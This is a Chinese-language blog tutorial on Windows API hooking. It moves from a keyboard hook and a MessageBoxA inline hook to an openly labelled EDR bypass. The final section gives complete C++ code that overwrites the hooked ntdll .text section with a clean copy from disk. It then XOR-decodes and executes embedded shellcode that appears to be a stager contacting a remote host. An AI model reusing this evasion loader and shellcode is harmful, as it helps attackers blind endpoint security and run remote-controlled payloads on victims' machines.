Windows API hook技术
Windows API hook技术
A.什么叫挂钩？
钩子技术即指“给特定的函数挂上钩子，让函数在执行前先执行被挂的钩子”，从而达到拦截事件和函数调用的目的。挂钩子的本质是一个程序段。
为了方便理解我们先首先实现一个简单的keyborad挂钩
hookDLL.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <string>
#include <Windows.h>
#include <iostream>
#include <fstream>
using namespace std;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) {
ofstream text;
text.open("c:\\programdata\\hook.txt");
text << "HOOK";
text.close();
return CallNextHookEx(NULL, code, wParam, lParam);
}
hookexe.cpp
// installhook.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <windows.h>
#include <strsafe.h>
int main()
{
HOOKPROC keybords;
static HINSTANCE hookdll;
hookdll = LoadLibrary(TEXT("C:\\Users\\localhost\\Desktop\\hook\\keyboradProcHook\\x64\\Release\\keyboradProcHook.dll"));
keybords = (HOOKPROC)GetProcAddress(hookdll, "KeyboardProc");
static HHOOK hhook;
hhook = SetWindowsHookEx(
WH_KEYBOARD_LL,
keybords,
hookdll,
0);
std::cout << "Hello World!\n";
}
B通过HookedMessageBox 进一步了解hook技术
这里是https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++源代码
#include "pch.h"
#include <iostream>
#include <Windows.h>
FARPROC messageBoxAddress = NULL;
SIZE_T bytesWritten = 0;
char messageBoxOriginalBytes[6] = {};
int __stdcall HookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {
// print intercepted values from the MessageBoxA function
std::cout << "Ohai from the hooked function\n";
std::cout << "Text: " << (LPCSTR)lpText << "\nCaption: " << (LPCSTR)lpCaption << std::endl;
// unpatch MessageBoxA
WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, messageBoxOriginalBytes, sizeof(messageBoxOriginalBytes), &bytesWritten);
// call the original MessageBoxA
return MessageBoxA(NULL, lpText, lpCaption, uType);
}
int main()
{
// show messagebox before hooking
MessageBoxA(NULL, "hi", "hi", MB_OK);
HINSTANCE library = LoadLibraryA("user32.dll");
SIZE_T bytesRead = 0;
// get address of the MessageBox function in memory
messageBoxAddress = GetProcAddress(library, "MessageBoxA");
// save the first 6 bytes of the original MessageBoxA function - will need for unhooking
ReadProcessMemory(GetCurrentProcess(), messageBoxAddress, messageBoxOriginalBytes, 6, &bytesRead);
// create a patch "push <address of new MessageBoxA); ret"
void* hookedMessageBoxAddress = &HookedMessageBox;
char patch[6] = { 0 };
memcpy_s(patch, 1, "\x68", 1);
memcpy_s(patch + 1, 4, &hookedMessageBoxAddress, 4);
memcpy_s(patch + 5, 1, "\xC3", 1);
// patch the MessageBoxA
WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, patch, sizeof(patch), &bytesWritten);
// show messagebox after hooking
MessageBoxA(NULL, "hi", "hi", MB_OK);
return 0;
}
通过disam反汇编发现，确实再第二次调用MessgeboxA的时候执行了我们的函数
我们尝试分析hook过程
messgbox函数存在于用户层user32.dll中，所以我们先从user32.dll中找到MessgboxA的地址
然后读取当前进程的内存空间中的MessgeBoxA的地址的前6位字节用来后面unhook的时候使用
然后就是存放修改自身内存的指令
push ret
然后就是修改内存空间，
这是修改后的messgbox
进入HookedMessageBox后
C通过杀软特性实战bypass EDR
一般来说ntdll就是连接用户与内核层的最后一道防线，很多杀软在进行拦截是都是hook ntdll里面的一些函数，讨论的情况是如何bypass他
一幅图简单明了
前提是ntdll已经被hook了 当然如果没hook最好（:
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>
#include <stdio.h>
/* length: 798 bytes */
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unsigned char buf[] = "\xfd\xe9\x88\x1\x1\x1\x61\x88\xe4\x30\xd3\x65\x8a\x53\x31\x8a\x53\xd\x8a\x53\x15\x8a\x73\x29\xe\xb6\x4b\x27\x30\xfe\x30\xc1\xad\x3d\x60\x7d\x3\x2d\x21\xc0\xce\xc\x0\xc6\xe3\xf1\x53\x56\x8a\x53\x11\x8a\x43\x3d\x0\xd1\x8a\x41\x79\x84\xc1\x75\x4b\x0\xd1\x51\x8a\x49\x19\x8a\x59\x21\x0\xd2\xe2\x3d\x48\x8a\x35\x8a\x0\xd7\x30\xfe\x30\xc1\xad\xc0\xce\xc\x0\xc6\x39\xe1\x74\xf5\x2\x7c\xf9\x3a\x7c\x25\x74\xe3\x59\x8a\x59\x25\x0\xd2\x67\x8a\xd\x4a\x8a\x59\x1d\x0\xd2\x8a\x5\x8a\x0\xd1\x88\x45\x25\x25\x5a\x5a\x60\x58\x5b\x50\xfe\xe1\x59\x5e\x5b\x8a\x13\xea\x87\x5c\x69\x6f\x64\x75\x1\x69\x76\x68\x6f\x68\x55\x69\x4d\x76\x27\x6\xfe\xd4\x30\xfe\x56\x56\x56\x56\x56\x69\x3b\x57\x78\xa6\xfe\xd4\xe8\x85\x1\x1\x1\x5a\x30\xc8\x50\x50\x6b\x2\x50\x50\x69\x51\x1\x1\x1\x52\x51\x69\x56\x88\x9e\xc7\xfe\xd4\xea\x71\x5a\x30\xd3\x53\x69\x1\x3\x41\x85\x53\x53\x53\x52\x53\x51\x69\xea\x54\x2f\x3a\xfe\xd4\x88\xc7\x82\xc2\x51\x30\xfe\x56\x56\x6b\xfe\x52\x57\x69\x2c\x7\x19\x7a\xfe\xd4\x84\xc1\xe\x85\xc2\x0\x1\x1\x30\xfe\x84\xf7\x75\x5\x88\xf8\xea\x8\x69\xab\xc4\xe3\x5c\xfe\xd4\x88\xc0\x69\x44\x20\x5f\x30\xfe\xd4\x30\xfe\x56\x6b\x6\x50\x57\x51\x69\xb6\x56\xe1\xa\xfe\xd4\xbe\x1\x2e\x1\x1\x38\xc6\x75\xb6\x30\xfe\xe8\x90\x0\x1\x1\xe8\xc8\x0\x1\x1\xe9\x8a\xfe\xfe\xfe\x2e\x65\x42\x51\x64\x1\xb2\x9c\xe6\x19\xb4\x91\xc2\xb5\xcd\x2e\x69\xe0\x59\xff\x31\x34\x41\x11\x33\x29\xbf\x57\x97\x5\x33\x45\x36\xdd\x84\x9a\xb5\x58\xc0\xbb\xcf\xfb\x14\xd9\x12\xe2\x17\x95\xfc\x6b\xe1\x81\xc1\xc9\x10\xbe\x80\x91\x67\xe7\xea\xa7\x4e\x94\x8\xb5\x6c\x27\x18\x68\xcb\xc0\xe9\x7d\x89\xf4\x3e\xda\x39\x1\x54\x72\x64\x73\x2c\x40\x66\x64\x6f\x75\x3b\x21\x4c\x6e\x7b\x68\x6d\x6d\x60\x2e\x34\x2f\x31\x21\x29\x62\x6e\x6c\x71\x60\x75\x68\x63\x6d\x64\x3a\x21\x4c\x52\x48\x44\x21\x38\x2f\x31\x3a\x21\x56\x68\x6f\x65\x6e\x76\x72\x21\x4f\x55\x21\x37\x2f\x30\x3a\x21\x56\x4e\x56\x37\x35\x3a\x21\x55\x73\x68\x65\x64\x6f\x75\x2e\x34\x2f\x31\x3a\x21\x43\x4e\x48\x44\x38\x3a\x44\x4f\x54\x52\x28\xc\xb\x1\x27\xa5\xe\x77\x5d\xbf\xd5\x23\xda\x5c\xbe\xb1\x4\x19\xd1\x95\x42\xc6\xcf\x5e\x81\x95\x69\xb4\x46\xc3\xde\x28\xe4\x2d\x72\xb7\xfa\x85\x7c\x41\xdc\xac\xe\xc3\x71\x9b\x6f\xa5\xde\x65\x2e\xa0\x34\xfb\xca\x53\xb0\x87\x81\x8a\x52\x64\xff\x77\x9a\x1c\xf2\x34\xf4\xe9\xfd\xf3\xda\x9a\xf2\x8\x3d\x6f\x24\xd1\x5b\x2d\x9a\xe2\xf3\xb\x5b\xe5\x0\xad\xbd\x3a\x8a\xbc\x28\x5f\xf0\x4c\xf2\x13\xc\x4f\x3b\xaa\x2e\x1d\x97\x4\x78\x39\x1e\x7f\x96\x9\x14\xe4\x14\xfc\x25\x0\x32\x4c\x4e\x38\x22\x9\x45\xcf\x92\x28\x9a\xa4\xef\x25\xb6\xe8\x2d\x8c\xa9\xd3\xa6\x2d\x88\x85\xb\xd4\xca\xcd\x26\xb\x34\xaf\x5d\x47\xe1\xbb\x52\x2f\x82\xfc\xdb\xfd\xfd\xa9\xd6\xda\x71\x9f\xdf\xab\xec\x60\x6b\x7b\xd4\xde\xf4\x7\x9e\xf4\x2e\x10\x56\x6f\xa6\x62\x2f\x36\x52\x31\x97\xd4\xca\xbb\x61\x84\x26\x64\x2d\x78\xa2\x36\x4e\xae\x66\x14\xe\x90\xab\x7b\x1\x69\xf1\xb4\xa3\x57\xfe\xd4\x6b\x41\x69\x1\x11\x1\x1\x69\x1\x1\x41\x1\x56\x69\x59\xa5\x52\xe4\xfe\xd4\x92\xb8\x1\x1\x1\x1\x0\xd8\x50\x52\x88\xe6\x56\x69\x1\x21\x1\x1\x52\x57\x69\x13\x97\x88\xe3\xfe\xd4\x84\xc1\x75\xc7\x8a\x6\x0\xc2\x84\xc1\x74\xe4\x59\xc2\xe9\xa8\xfc\xfe\xfe\x30\x38\x33\x2f\x30\x37\x39\x2f\x30\x2f\x30\x31\x35\x1\x13\x35\x57\x79";
void unhook() {
HANDLE process = GetCurrentProcess();
MODULEINFO mi = {};
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
}
}
CloseHandle(process);
CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
FreeLibrary(ntdllModule);
}
int main()
{
unhook();
int password = 1025;
unsigned char deShellCode[1000];
int nLen = sizeof(buf) - 1;
for (int i = 0; i < nLen; i++)
{
deShellCode[i] = buf[i] ^ password;
printf("\\x%x", deShellCode[i]);
}
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(deShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
unhook();
RtlMoveMemory(shellcodeAddress, deShellCode, sizeof(deShellCode));
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE);
return 0;
}
//#include <stdio.h>
//#include <Windows.h>
//
///* length: 798 bytes */
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//
//
//int main(int argc, char* argv[])
//{
// int password = 1025;
// unsigned char enShellCode[1000];
// unsigned char deShellCode[1000];
// int nLen = sizeof(buf) - 1;
//
// for (int i = 0; i < nLen; i++)
// {
// enShellCode[i] = buf[i] ^ password;
// printf("\\x%x", enShellCode[i]);
// }
//
// printf("\n");
//
// /*for (int i = 0; i < nLen; i++)
// {
// deShellCode[i] = enShellCode[i] ^ password;
// printf("\\x%x", deShellCode[i]);
// }*/
//
// system("pause");
// return 0;
//}
D总结
当然 这次这是提到了一种unhook的手法，还有很多种比如 https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher以及ACGhttps://www.countercraftsec.com/blog/post/arbitrary-vs-kernel/
也可以直接调用syscall来不与api交互,当然这些都是玩烂了的手法。只是体力活而已
参考
https://xz.aliyun.com/t/9166#toc-5
https://www.cnblogs.com/LyShark/p/13033722.html
https://improsec.com/tech-blog/user-mode-api-hooks-and-bypasses
https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait
https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
https://www.ired.team/offensive-security/defense-evasion/acg-arbitrary-code-guard-processdynamiccodepolicy
https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/
https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis
